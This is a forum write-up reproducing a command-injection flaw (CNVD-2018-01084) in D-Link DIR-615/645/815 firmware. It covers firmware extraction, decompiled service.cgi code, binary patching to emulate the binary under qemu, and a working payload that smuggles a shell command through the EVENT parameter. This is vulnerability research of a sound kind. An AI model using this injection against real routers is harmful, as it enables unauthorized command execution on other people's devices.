首页
社区
课程
招聘
[原创] CNVD-2018-01084 漏洞复现
发表于: 2024-3-19 15:57 3613

[原创] CNVD-2018-01084 漏洞复现

2024-3-19 15:57
3613

Tldr

Vulnerability Code:

  • CNVD-2018-01084
  • AVD-2021-908830

Tag: #Vulnerability-reprodution

Attachments: ![[DIR815A1_FW103b01.bin]]

References:

⚠️ Affected: D-Link DIR 615/645/815 V1.03&pre

2024-03-17 | 21:52

1.Firmware Extracting

1
2
3
4
5
6
7
8
9
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084]
└─# binwalk -Me DIR815A1_FW103b01.bin --run-as=root
 
Scan Time:     2024-03-17 22:04:11
Target File:   /root/leamov/CNVD-2018-01084/DIR815A1_FW103b01.bin
MD5 Checksum:  b651c106598bad6dbc9c4ae7c3d39f62
Signatures:    411
 
...

Now get file system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root]
└─# tree -L 1
.
├── bin
├── dev
├── etc
├── home
├── htdocs
├── lib
├── mnt
├── proc
├── sbin
├── sys
├── tmp -> /dev/null
├── usr
├── var
└── www
14 directories, 1 file
 
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root/htdocs]
└─# tree -L 1
.
├── cgibin
├── HNAP1
├── neap
├── phplib
├── smart404
├── upnp
├── upnpdevdesc
├── upnpinc
├── web
├── webinc
└── widget
11 directories, 1 file

2.Analysis

Accroding to the description of vulnerability provided by AVD.This vulnherability stems from service.cgi concatenating data from http post request,resulting in concatenation of backend commands and allow for arbitray command execution.

2.1 Chcek binary file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root/htdocs]
└─# readelf -h cgibin
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x402230
  Start of program headers:          52 (bytes into file)
  Start of section headers:          128256 (bytes into file)
  Flags:                             0x50001007, noreorder, pic, cpic, o32, mips32
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         8
  Size of section headers:           40 (bytes)
  Number of section headers:         29
  Section header string table index: 28
 
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root/htdocs]
└─# checksec cgibin
[*] '/root/leamov/CNVD-2018-01084/_DIR815A1_FW103b01.bin.extracted/squashfs-root/htdocs/cgibin'
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

Prog's arch is mipsel-32.Try run with qemu-mipsel-static.Use chroot . to change current command root directory.

1
2
3
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root]
└─# chroot . ./qemu-mipsel-static htdocs/cgibin
CGI.BIN, unknown command cgibin

2.1.1 main()

cgibin out put content unknown command cgibin.Check out pseudocode in IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
  if ( !strcmp(v3, "phpcgi") )
  {
    v8 = (void (__noreturn *)())phpcgi_main;
    v9 = argc;
    return ((int (__fastcall *)(int, const char **, const char **))v8)(v9, argv, envp);
  }
  if ( !strcmp(v3, "dlcfg.cgi") )
  {
    v8 = (void (__noreturn *)())dlcfg_main;
    v9 = argc;
    return ((int (__fastcall *)(int, const char **, const char **))v8)(v9, argv, envp);
  }
  ...
  if ( !strcmp(v3, "service.cgi") )
  {
    v8 = (void (__noreturn *)())&servicecgi_main;
    v9 = argc;
    return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
  }
  ...
  printf("CGI.BIN, unknown command %s\n", v3);
  return 1;
}

Now use parameter -0 to appoint first argument as "service.cgi"

1
2
3
4
5
6
7
8
9
10
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root]
└─# chroot . ./qemu-mipsel-static -0 "service.cgi" htdocs/cgibin
HTTP/1.1 200 OK
Content-Type: text/xml
 
<?xml version="1.0" encoding="utf-8"?>
<report>
        <result>FAILED</result>
        <message>No HTTP request</message>
</report>

2.1.2 servicecgi_main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
int servicecgi_main()
{
    memset(message, 0, 0x100u);
    method = getenv("REQUEST_METHOD");
    if (method)
    {
        if (!strcasecmp(method, "POST"))
        {
            maxContentLength = 1024;
        }
        //...
        if (cgibin_parse_request(sub_40A63C, 0, maxContentLength) < 0)
        {
            errorMsg = "Unable to parse HTTP request";
            //...
        }
        if (!sess_ispoweruser())
        {
            errorMsg = "Not authorized";
            //...
        }
        event = sub_40A1C0("EVENT");
       action = (const char *)sub_40A1C0("ACTION");
       service = sub_40A1C0("SERVICE");
        if (event)
        {
            commandStr = "event %s > /dev/null";
        }
        else
        {
            //...
            if (!strcasecmp(action, "START"))
            {
                commandStr = "service %s start > /dev/null";
            }
            else if (!strcasecmp(action, "STOP"))
            {
                commandStr = "service %s stop > /dev/null";
            }
            else
            {
                if (strcasecmp(action, "RESTART"))
                {
                    snprintf(message, 0x100u, "Unknown action - '%s'", action);
                    //...
                }
                commandStr = "service %s restart > /dev/null";
            }
        }
        lxmldbc_system(commandStr);
        //...
    }
    else
    {
        snprintf(message, 0x100u, "No HTTP request");
        resultCode = -1;
    }
    puts("HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r");
    puts("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
    puts("<report>");
    if (resultCode)
        resultStatus = "FAILED";
    else
        resultStatus = "OK";
    printf("\t<result>%s</result>\n", resultStatus);
    printf("\t<message>%s</message>\n", message);
    puts("</report>");
    cgibin_clean_tempfiles();
    while (1)
    {
        //...
    }
    return result;
}

Based on the pseudocode above.We found a critical function call lxmldbc_system()

2.1.3 lxmldbc_system

1
2
3
4
5
6
int lxmldbc_system(char *format, int a2, int a3, int a4, int a5, ...)
{
  char commandBuf[1028]; // [sp+1Ch] [-404h] BYREF
  vsnprintf(commandBuf, 0x400u, format, args);
  return system(commandBuf);
}

Accroding to the pseudocode of servicecgi_main we know that parameter args able to manipulate.Now try execute cgibin use the following parameters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/root]
└─# chroot . ./qemu-mipsel-static -g 6665 \
-0 "service.cgi" \
-E REQUEST_METHOD=POST \
-E CONTENT_TYPE=application/x-www-form-urlencoded \
-E CONTENT_LENGTH=10
-E REQUEST_URI=/?EVENT=%26ls&26
htdocs/cgibin
 
HTTP/1.1 200 OK
Content-Type: text/xml
 
<?xml version="1.0" encoding="utf-8"?>
<report>
        <result>FAILED</result>
        <message>Unable to parse HTTP request</message>
</report>

Some error occur.After debugging and look up some blogs know that is qemu's user enviroment led to this error.There has two place need to patches.
One is return value of cgibin_parse_request() and another is sess_ispoweruser().

The second one need to patches because it need to open and read /var/session/sesscfg but qemu's enviroment doesn't have it.

As for the first one.I haven't seen any explain form blogs.Accroding to debugging,clearly function cgibin_parse_request return by the following expression

1
2
3
4
5
return ((int (__fastcall *)(int, int, unsigned int, char *))(&::application)[3 * v16 - 1])(
       arg1,
       arg2,
       length,
       &contentType[audio]);

This function check content type which after application/.Only x-www-form-urlencoded supported.If match then will read data from stdin.Details about how cgi get post data please check the third reference post CGI.

The following pseudocode show that why Unable to parse HTTP request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sets.__fds_bits[0] |= 1u;
timeout.tv_usec = 0;
timeout.tv_sec = 5;
selectResult = select(1, &sets, 0, 0, &timeout); //Timeout return 0
returnCode = selectResult;
if ( selectResult >= 0 )
    {
      if ( !selectResult )//Without post data
        returnCode = -1;
        break;
      bufLength = contentLength;
      if ( contentLength >= 0x401 )
        bufLength = 0x400;
      v8 = read(0, pSets, bufLength);
      //...

2.2 Patch binary file

First we' found

1
if ( cgibin_parse_request((int)sub_40A63C, 0, contentLength) < 0 )

It's opcode and assembly looks like that

10 00 41 04    bgez    $v0, checkPowerUser

Accroding to the MIPS CPU instruction set manual.We know that bgez's opcode is 000001 and blez's opcode is 000110.And cgibin use little endian so actually opcode as 0x04410010 as binary is 0000 0100 0100 0001 0000 0000 0001 0000

My ida version don't support edit mips assembly directly so I have to change byte to 0001 1000 0100 0001 0000 0000 0001 0000 by my hand

0000 0100 0100 0001 0000 0000 0001 0000
   ↓ ↓↓
0001 1000 0100 0001 0000 0000 0001 0000

And now we get

10 00 41 18    blez    $v0, checkPowerUser

But when this instruction were executed.it was crash and we get

1
2
qemu: uncaught target signal 4 (Illegal instruction) - core dumped
Illegal instruction

Then I recover this patch and Then make the following change

10 00 41 14    bgez       checkPowerUser
      ↓↓  ↓    ↓↓↓↓
10 00 00 10      b        checkPowerUser

And the same to patch pass session validate.After that now run it again

1
2
3
4
5
6
7
8
9
10
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/root]
└─# chroot . ./qemu-mipsel-static -0 service.cgi -E REQUEST_METHOD=POST -E CONTENT_TYPE=application/x-www-form-urlencoded -E CONTENT_LENGTH=10 -E REQUEST_URI=/?Hi htdocs/cgibin-patches
HTTP/1.1 200 OK
Content-Type: text/xml
 
<?xml version="1.0" encoding="utf-8"?>
<report>
        <result>OK</result>
        <message></message>
</report>

Patch successful

And this is current execution result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/root]
└─# chroot . ./qemu-mipsel-static -0 service.cgi -E REQUEST_METHOD=POST -E CONTENT_TYPE=application/x-www-form-urlencoded -E CONTENT_LENGTH=10 -E REQUEST_URI=/?EVENT=%26ls%26 -g 6665 htdocs/cgibin-patches
Usage: event {NAME} {ACTION} [OPTIONS]
    event XXX add {HANDLER}
    event XXX insert {TAG:HANDLER}
    event XXX remove {TAG}
    event XXX flush
    event XXX dump
    event XXX kill
    event XXX
    event dump
qemu-mipsel-static  htdocs              sbin
dev                 qemu-system-mipsel  tmp
var                 home                qemu-mipsel
mnt                 proc                lib
etc                 sys                 www
usr                 bin
HTTP/1.1 200 OK
Content-Type: text/xml
 
<?xml version="1.0" encoding="utf-8"?>
<report>
        <result>OK</result>
        <message></message>
</report>

3.Reflection

3.1 Exploit chain

  1. main(): Fetch cgi function
  2. servicecgi_main()
    1. Check env REQUEST_METHOD
    2. cgibin_parse_request()
      1. Check env CONTENT_TYPE
      2. Check env CONTENT_LENGTH
      3. Check env REQUEST_URI
      4. Match env content x-www-form-urlencoded
      5. select() read user request data (may patch required)
  3. sess_ispoweruser() (patch required)
  4. 40A1C0() (urldecode and get parameters)
    1. Fetch EVENT from uri
    2. Fetch ACTION from uri
    3. Fetch SERVICE from uri
  5. lxmldbc_system()
    1. system("..."+"EVENT"+"...")

3.2 Q&A

3.2.1 Why patch cgibin_parse_request() not necessary

There are two cases to determine whether patching is necessary.Based on the analysis above we know that Unable to parse HTTP request case by select() return timeout.It wait user input for 5 seconds.That's why it looks like “stuck" when I execute it without input.
However when I input content and make it's length be equal or greater than CONTEN_LENGTH.cgibin_parse_request() will finnaly return 1.


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2024-3-19 16:15 被LeaMov编辑 ,原因: 修改错误内容
上传的附件:
收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
学习学习
2024-3-20 13:56
1
游客
登录 | 注册 方可回帖
返回
//